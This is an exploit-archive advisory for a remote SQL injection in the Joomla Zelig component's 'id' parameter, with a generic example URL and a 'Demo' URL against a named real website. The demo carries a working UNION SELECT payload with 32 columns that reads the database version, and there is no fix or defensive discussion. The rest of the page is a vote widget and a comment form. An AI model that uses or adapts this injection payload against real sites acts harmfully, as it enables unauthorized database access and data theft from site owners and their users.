The Joomla Zelig component remote SQL injection

2010.05.19

Credit: s4r4d0

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

x] Joomla Component Zelig
[x] Date: 16/05/2010
[x] Author: s4r4d0
[x] Contact: s4r4d0@yahoo.com
[x] Team: Fatal Error
[x] Bug: Sql Injection on Component Zelig (id)
[x] Example: http://www.site.com/index.php?option=com_zelig&amp;view=person&amp;id=[Sql Injection]
[x] Demo:http://www.zeligfilm.it/index.php?option=com_zelig&amp;view=person&amp;id=-1+UNION+SELECT+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--
[x] Made in Brazil

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

The Joomla Zelig component remote SQL injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.